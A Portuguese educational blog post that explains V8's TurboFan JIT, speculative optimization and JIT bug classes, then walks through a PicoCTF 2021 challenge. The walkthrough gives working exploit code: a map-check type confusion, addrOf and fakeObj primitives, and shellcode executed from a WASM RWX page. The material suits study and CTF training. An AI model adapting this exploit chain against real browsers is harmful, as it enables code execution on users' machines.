Esse post é uma continuação do último post sobre exploração de navegadores, caso você não esteja familiarizado com o tema, recomendo que o leia para se acomodar no assunto.
JIT (just-in-time compiler)
Compilação e execução
Para qualquer tipo de programa, sempre é necessário que, em algum momento, tudo se transforme em assembly, isso pode ocorrer de diversas formas dependendo da abordagem da linguagem. Em C, por exemplo, escrevemos nosso código e compilamos-o, fazendo uma conversão direta de código para linguagem de máquina(ahead-of-time compiler), mas em linguagens mais high level, como python, JS ou java, existe um meio-termo antes desta fase final.
Normalmente nesses casos, ao invés de se compilar para linguagem de máquina, o código em javascript, por exemplo, é transformado em “bytecode”, que é basicamente um “assembly” que sera entendido por uma “máquina virtual”, como uma máquina de registradores. Esses termos podem parecer estranhos e um pouco complexos, pois são termos mais comuns na área de compiladores e desenvolvimento de linguagens, mas podemos ter uma compreensão melhor com o seguinte pseudo-código:
// opcodes, valores completamente arbitrarios
#define LOAD 0x10
#define PRINT 0x11
#define EXIT 0x1
void execute_bytecode(uint8_t *code, uint32_t code_size) {
int instruction_pointer = 0; // um instruction pointer, assim como em assembly
int machine_register = 0; // um registrador
// enquanto o intruction pointer for menor que o tamanho total da memória, continua executando
while (instruction_pointer < code_size) {
// ler o opcode a partir da "memória", no caso, a variavel
// code com o offset do instruction_pointer
uint8_t opcode = code[instruction_pointer];
instruction_pointer++; // incrementa o instruction_pointer
switch (opcode) { // executa algum opcode
case LOAD:
// carrega para o unico registrador o que estiver na memória
machine_register = code[instruction_pointer++];
break;
case PRINT:
// printa o registrador
printf("%x\n", machine_register);
break;
case EXIT:
// termina a execução
exit(machine_register);
break;
default:
// opcode não encontrado
exit(-1);
}
}
}
O exemplo acima pode ser considerado uma máquina de registradores mínima, as únicas coisas que ela consegue fazer é carregar algum valor para o seu único registrador, mostrar o valor do mesmo e terminar sua execução. Linguagens como python, JS e Java, implementam máquinas virtuais parecidas com o mesmo conceito, porem, extremamente mais complexas.
Usando desta técnica, ganhamos em alguns pontos, como flexibilidade e criação dinâmica de código(como um eval
em js e python), porem se perde em um ponto extremamente crítico, a performasse. Como uma tentativa para minimizar a questão desse ponto, uma solução amplamente aplicada é o JIT.
De forma extremamente resumida, JIT é um compilador que transforma bytecode para linguagem de máquina em tempo de execução.
Não sera abordado de forma muito aprofundada esse assunto de compiladores, porem caso tenha ficado interessado no mesmo, aqui você pode encontrar referências de estudo.
De JS para assembly
A maioria dos comentários serão focados para o TurboFan, compilador JIT do v8, porem muitas das coisas aqui são repetidas em outros casos como o IonMonkey(JIT do firefox) ou do JavaScriptCore.
O processo de compilação é caro do ponto de vista computacional, pois existe um gasto de processamento e memória adicional, logo, não faz sentido chamar o JIT para todas as funções. Normalmente, as engines JS declaram um número de vezes mínimo que uma função precisa ser chamada para ser marcada como “quente”(hot), e então, ser compilada.
Porem, algo que até aqui você pode ter se questionado, como podemos compilar um código de uma função em uma linguagem de tipagem dinâmica?
Podemos tomar o seguinte código de exemplo:
function add(a, b) {
return a + b;
}
Como iremos compilar isso para assembly? |
Reafirmando o problema da tipagem dinâmica, os resultados dessa função podem ser vários, como:
add(5, 8); // 13
add("A", "B"); // "AB"
add([1], [2]); // "12"
...
Tirando da própria especificação ECMAScript, podemos ter mais de dez interpretações para o operador
+
.
Desta forma, a solução amplamente implementada é a especulação. O JIT especula, determinando quais tipos de variáveis foram recebidos pela função até ser marcada como “hot” e as usando para a compilação.
Podemos olhar mais de perto esse processo:
// forçando que "add" sejá otimizado/compilado, treinando o especulador para Smi(small integer)
for (var _ = 0; _ < 100_000; _++) {
add(5, 8);
}
// ---
// "trick" para o d8(shell do v8) com a flag "--allow-natives-syntax":
// Da para o compilador o feedback para especular que "a" e "b" são Smi's
%PrepareFunctionForOptimization(add);
add(5, 8);
// E força a compilação
%OptimizeFunctionOnNextCall(add);
add(5, 8);
Apos o exemplo acima, o JIT define algo semelhante a:
function add(a: Smi, b: Smi) {
return a + b;
}
Especulando que os parâmetros a
e b
sejam sempre Smi(small integer), a função é efetivamente compilada para assembly, o código final não sera muito diferente de:
// os números aqui são tratados como double pois
// todos os números no v8 são floats de 64 bits
double add(double a, double b) {
return a + b;
}
Porem… Iremos nos esbarrar em mais um problema, oque ira acontecer se executarmos algo parecido com:
for (var _ = 0; _ < 100_000; _++) {
add(5, 8);
}
add([], 10);
Agora iremos para mais um subtópico importantíssimo, Sanity checks
Sanity checks
No momento em que add
é uma função em assembly, como iremos tratar a variação de tipos e a confusão da especulação?
A engine ira implementar os bailout
’s, pequenos trechos que iram validar se os inputs serão validos, e em caso negativo, a execução sera retomada para o interpretador, ou seja, Deoptimization. Podemos ver alguns exemplos do que esses trechos de códigos validam como:
- Smi
valida opointer tag
, logo, se o LSB for diferente de zero, o valor não se trata de um Smi. - Object
Valida se oshape
é o mesmo que foi especulado. - …
Uma validação importante salientar são as validações de Range()
, existem casos onde o compilador especula um valor mínimo/máximo para um inteiro, e então, só ira ocorrer Deoptimization caso esse range seja invalido, exemplo:
function bug(index) {
arr = new Array(10);
return arr[index];
}
O index
não pode ser maior que 9(ultimo index), e para isso, é gerado um código de bailout
para validar isso. Porem, vamos olhar esse outro exemplo:
function bug(index) {
arr = new Array(10);
index = index % 10;
return arr[index];
}
É impossível que index
seja maior que 10, pois está sendo realizado uma operação de módulo, logo, não é necessário o código de bailout
. Porem, nesse caso, estamos confiando em alguma previsão do compilador, se conseguirmos engana-lo, teríamos facilmente um read/write oob.
Bugs
Como pudermos ver, o processo de compilação e otimização é extremamente complexo e, por mais que existam diversos sanity checks, contextos específicos, build-in’s e side-effect’s podem causar bugs e confusões inesperadas. Outro ponto que torna o estudo e busca desse tipo de bug muito mais atrativo é o seu uso para exploração de navegadores e o grande impacto desse tipo de vulnerabilidade.
Podemos discorrer sobre alguns bugs para demonstrar algumas similaridades e seus tipos.
Os links de bugs reais anexados foram colocados como referências, mas é mais recomendável terminar de ler esse artigo antes de estudar essas fontes, por se tratarem de conteúdos mais avançados
Wrong optimization
Durante o processo de compilação, assim como em compiladores AoT(ahead-of-time) tradicionais, existe um esforço constante para otimizações, e caso seja possível, remover código não necessário, como no exemplo:
let r = 0;
for(var i = 0; i < 10; i++) {
r += i;
}
Se você olhar esse loop, pode perceber que todos os valores são estáticos e o resultado previsível, logo, podemos otimizar esse trecho de código da seguinte forma:
let r = 0;
// for(var i = 0; i < 10; i++) {
// r += i;
// }
r += 45;
Porem, isso pode ocasionar bugs caso essa otimização seja feita de foram errada e alterar um valor considerado “seguro”, ou seja, o especulador pode determinar que um parâmetro sempre sera Range(1, 5)
, e por essa razão, não gerar bailout
para acessar um Array(10)
, mas por ocasião de um bug desse, teremos um oob.
Side effect
Existem casos onde prototype’s e constructor’s interferem na execução de um certo código, porem, isso pode ser manipulado para ser acessado uma posição não esperada em um array, por exemplo, misturando uma função compilada e um prototype de uma função genérica.
Type Confusion
Uma certa corrupção de memória ou confusão pode levar a um array ser interpretado como um objeto ou vise versa(por exemplo), e isso é o suficiente para corromper atributos como length
e nos levar a um read/write oob.
Exploitation
Agora que temos uma base mais solida sobre todo contexto de compilação JIT, podemos utilizar um challenge para ver tais conceitos de forma mais aplicada. Usarei um chall do PicoCTF 2021, por se tratar de uma falha de complexidade não muito elevada e pode ser um bom exemplo para nosso contexto.
Challenge
Teremos um arquivo de patch para o TurboFan. A principal modificação nesse patch é a remoção de certas valodações para Deoptimization:
--- a/src/compiler/effect-control-linearizer.cc
+++ b/src/compiler/effect-control-linearizer.cc
@@ -1866,8 +1866,9 @@ void EffectControlLinearizer::LowerCheckMaps(Node* node, Node* frame_state) {
Node* map = __ HeapConstant(maps[i]);
Node* check = __ TaggedEqual(value_map, map);
if (i == map_count - 1) {
- __ DeoptimizeIfNot(DeoptimizeReason::kWrongMap, p.feedback(), check,
- frame_state, IsSafetyCheck::kCriticalSafetyCheck);
+ // This makes me slow down! Can't have! Gotta go fast!!
+ // __ DeoptimizeIfNot(DeoptimizeReason::kWrongMap, p.feedback(), check,
+ // frame_state, IsSafetyCheck::kCriticalSafetyCheck);
} else {
auto next_map = __ MakeLabel();
__ BranchWithCriticalSafetyCheck(check, &done, &next_map);
Desta forma, é introduzido uma falha simples de Wrong optimization, fazendo com que possamos confundir Arrays de floats(64 bits) com Arrays de objetos(32 bits, pointer compression), pois em caso de divergência de Map’s, a Deoptimization simplesmente não ocorrerá.
PoC
Vamos tentar fazer uma prova de conceito e explorar tal bug:
function bug(array, index) {
return array[index];
}
function main() {
var temp = {"prop": 1};
var a = [1.1, 1.2]; // float array
var b = [temp, temp]; // object array
for (var i = 0; i < 100_000; i++) {
bug(a, 0); // Treinando o especulador para float array's
}
console.log(bug(b, 1)); // entregando um array de objs
}
Essa parece uma PoC bem consistente e simples, não? Porem existe um problema neste exemplo, a função bug
é muito curta e por motivos de otimização, o v8 prefere fazer inline dela para simplificar o fluxo. Então vamos tentar novamente:
function bug(array, index) {
// junk para a função não se tornar _inline_
for(var i = 0; i < 10; i++) {
i += 2;
}
return array[index];
}
function main() {
var temp = {"prop": 1};
var a = [1.1, 1.2]; // float array
var b = [temp, temp]; // object array
for (var i = 0; i < 100_000; i++) {
bug(a, 0); // Treinando o especulador para float array's
}
console.log(bug(b, 1)); // entregando um array de objs
}
Agora, ao testar esse trecho de código com o patch do challenge, iremos notar algo:
# ./d8 --shell ./exp.js
V8 version 9.1.0 (candidate)
d8> main()
4.763796150676412e-270
undefined
d8>
Podemos ver que o endereço do objeto está sendo tratado como um número float, a partir desse ponto, craftar primitivas essenciais de addrOf
e fakeObj
será trivial.
Primeiro vamos criar duas variações do código da PoC, uma para read e outra para write:
function read_bug(array, index) {
// junk para a função não se tornar _inline_
for (var i = 0; i < 1; i++) {
i += 2;
}
return array[index];
}
function write_bug(array, index, val) {
// junk para a função não se tornar _inline_
for (var i = 0; i < 1; i++) {
i += 2;
}
array[index] = val;
}
Seguido disso, podemos criar uma função simples para triggar o bug e chamar o JIT para nossas funções
function trigger_bug() {
var a = [1.1, 1.2]; // float array
for (var i = 0; i < 100_000; i++) {
read_bug(a, 0); // Treinando o especulador para float array's
write_bug(a, 0, 1.2); // Treinando o especulador para float array's
}
}
Agora iremos usar nossas funções de leitura e escrita para conseguir os artefatos necessários para as primitivas
trigger_bug();
var temp = { "prop": 1 }; // apenas para o array de objs
var obj_map_leak = [temp, temp]; // cria um array de objs
// read_bug ira ler o array como um float, vazando um endereço
//! info: o "& 0xffffffffn" serve para pegar apenas os 32bits mais baixos
var obj_map = ftoi(read_bug(obj_map_leak, 1)) & 0xffffffffn;
//! info: o ">> 32n" serve para pegar apenas os 32bits mais altos
// ex: 0xf1f1f1f1f2f2f2f2 >> 32 == 0xf1f1f1f1
var fixed_arr_prop = ftoi(read_bug(obj_map_leak, 1)) >> 32n;
// No v8, o float map fica em um offset fixo de 0x50 do Map de objetos
var float_map = obj_map - 0x50n;
Com os endereços dos Maps, podemos criar as primitivas de addrOf
e fakeObj
function addrOf(obj) {
obj_arr = [obj, obj];
// Sobreescreve o Map do obj_arr para o float_map
write_bug(obj_arr, 1, itof((fixed_arr_prop << 32n) + float_map));
// acessa o endereço
addr = (ftoi(obj_arr[0]) & 0xffffffffn);
obj_arr = [temp, temp];
return addr;
}
function fakeObj(addr) {
obj_arr = [temp, temp];
// escreve o endereço recebido como primeiro elemento do array
write_bug(obj_arr, 0, itof(BigInt(addr)));
fake = obj_arr[0];
obj_arr = [temp, temp];
return fake;
}
E pronto, temos exatamente tudo que precisamos, finalizaremos a seguir o exploit da mesma forma que fizemos no último post:
var fake_arr = [itof(float_map), 1.2, 1.3, 1.4];
var fake = fakeObj(addrOf(fake_arr) - 0x20n);
...
var rwx_page_addr = ftoi(read(addrOf(wasm_instance) + 0x68n));
var shellcode = [
// msfvenom -p <your payload> --format dword
];
copy_shellcode(rwx_page_addr, shellcode);
wasm_exec_shellcode();
O exploit final pode ser acessado no github da harddisk.
Esse post foi uma introdução a JIT e exploit um pouco mais complexos, futuramente terão mais posts a cerca de exploração de navegadores de formas mais complexas e em outros módulos, como IPC, HTML parser e outros, espero q tenha gostado e em caso de qualquer duvida pode, nossa comunidade no discord está aberta!
Referencias
- Exploiting Logic Bugs in JavaScript JIT Engines
- Attacking Client-Side JIT Compilers
- Speculation in JavaScriptCore
- Introduction to TurboFan
- Turboflan PicoCTF 2021 Writeup (v8 + introductory turbofan pwnable)
Referencias para estudo de compiladores
- Linguagem Compilada vs Interpretada | Qual é melhor?
- Compiladores - Curso Completo
Autor do post: R3tr0